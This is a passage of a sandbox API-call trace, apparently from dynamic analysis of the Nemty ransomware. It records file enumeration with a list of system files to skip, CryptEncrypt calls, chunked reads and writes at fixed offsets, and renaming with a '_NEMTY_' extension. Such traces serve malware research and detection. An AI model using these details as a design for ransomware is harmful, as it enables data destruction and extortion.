hHeap=0x4f90000) returned 1 [0091.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0091.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0091.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0091.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0091.399] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576_91n92.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.399] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0091.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0091.399] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.399] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.408] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.408] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.408] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.408] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.418] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.418] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.427] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.427] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.436] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.436] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.436] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.436] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.446] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.446] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.446] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.446] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.455] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.455] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.455] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.456] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.465] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.465] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.465] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.465] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.474] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.474] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.474] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.474] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.483] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.483] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.483] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.483] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.493] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.493] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.493] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.493] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.499] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.499] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.499] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.499] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.505] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.505] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.505] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.505] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0091.505] CloseHandle (hObject=0xffffffff) returned 0 [0091.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0091.505] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0091.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0091.505] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0091.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0091.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0091.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0091.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0091.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0091.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0091.505] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576_91n92.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576_91n92.png._nemty_kgobjgd_")) returned 0 [0091.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0091.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0091.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0091.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0091.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0091.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0091.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0091.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0091.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0091.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0091.506] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6ce61c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6ce61c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x544241af, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0091.506] lstrcmpiW (lpString1="15x15dot.png", lpString2=".") returned 1 [0091.506] lstrcmpiW (lpString1="15x15dot.png", lpString2="..") returned 1 [0091.506] lstrcmpiW (lpString1="15x15dot.png", lpString2="...") returned 1 [0091.506] lstrcmpiW (lpString1="15x15dot.png", lpString2="windows") returned -1 [0091.506] lstrcmpiW (lpString1="15x15dot.png", lpString2="$RECYCLE.BIN") returned 1 [0091.506] lstrcmpiW (lpString1="15x15dot.png", lpString2="rsa") returned -1 [0091.506] lstrcmpiW (lpString1="15x15dot.png", lpString2="NTDETECT.COM") returned -1 [0091.506] lstrcmpiW (lpString1="15x15dot.png", lpString2="ntldr") returned -1 [0091.506] lstrcmpiW (lpString1="15x15dot.png", lpString2="MSDOS.SYS") returned -1 [0091.506] lstrcmpiW (lpString1="15x15dot.png", lpString2="IO.SYS") returned -1 [0091.506] lstrcmpiW (lpString1="15x15dot.png", lpString2="boot.ini") returned -1 [0091.506] lstrcmpiW (lpString1="15x15dot.png", lpString2="boot.ini") returned -1 [0091.506] lstrcmpiW (lpString1="15x15dot.png", lpString2="AUTOEXEC.BAT") returned -1 [0091.506] lstrcmpiW (lpString1="15x15dot.png", lpString2="ntuser.dat") returned -1 [0091.506] lstrcmpiW (lpString1="15x15dot.png", lpString2="desktop.ini") returned -1 [0091.506] lstrcmpiW (lpString1="15x15dot.png", lpString2="CONFIG.SYS") returned -1 [0091.506] lstrcmpiW (lpString1="15x15dot.png", lpString2="RECYCLER") returned -1 [0091.506] lstrcmpiW (lpString1="15x15dot.png", lpString2="BOOTSECT.BAK") returned -1 [0091.506] lstrcmpiW (lpString1="15x15dot.png", lpString2="bootmgr") returned -1 [0091.506] lstrcmpiW (lpString1="15x15dot.png", lpString2="programdata") returned -1 [0091.506] lstrcmpiW (lpString1="15x15dot.png", lpString2="appdata") returned -1 [0091.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0091.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0091.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="15x15dot.png", lpUsedDefaultChar=0x0) returned 12 [0091.507] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0091.507] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0091.507] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="15x15dot.png", lpUsedDefaultChar=0x0) returned 12 [0091.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0091.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0091.507] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0091.507] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0091.507] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="15x15dot.png", lpUsedDefaultChar=0x0) returned 12 [0091.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0091.507] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0091.507] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0091.507] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="15x15dot.png", lpUsedDefaultChar=0x0) returned 12 [0091.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0091.507] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0091.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0091.507] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0091.507] Sleep (dwMilliseconds=0x5) [0091.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xea308670, dwHighDateTime=0x1d561e7)) [0091.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xea308670, dwHighDateTime=0x1d561e7)) [0091.507] GetLastError () returned 0x5 [0091.507] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0091.507] GetLastError () returned 0x5 [0091.507] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0091.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0091.507] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0091.508] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0091.508] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0091.508] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0091.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0091.508] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="mKp7gipAa8m6dZ+A/zfUZfrwLTsPhpwV0butLkLIg265kW8eXtcPZRQ61W2UCuuT\r\nDiVR+jVVXV6E/pFrf5WMegz2fJer3juC93mAJUQdMlN9Sq3aC/fXKOT93khoVTKZ\r\nMk1dhXc/AqAdbUlV9Op5VZTtdLNPUUJaLh+2OxTsJM6xITAd0H+uo2QVhnK92NSy\r\n8FZyVfxMSeOQpNx1ZRDB6xNpP6NI6ctXhcIuG5/rKQ59zaFC0aA3zTITnOp2Qf0H\r\nYWVcAZ9JrjboA63Oen9cI9S1B07vB6opgtmLN6jv52f/H6A9O0aWs5Z4Fgm+X1wQ\r\nY545OwUgPZ84i+2EwREtPg==\r\n", pcchString=0x653e91c) returned 1 [0091.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0091.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0091.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0091.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0091.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0091.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0091.508] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.508] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0091.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0091.508] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.508] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.518] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.518] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.518] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.518] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.527] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.527] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.527] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.527] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.536] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 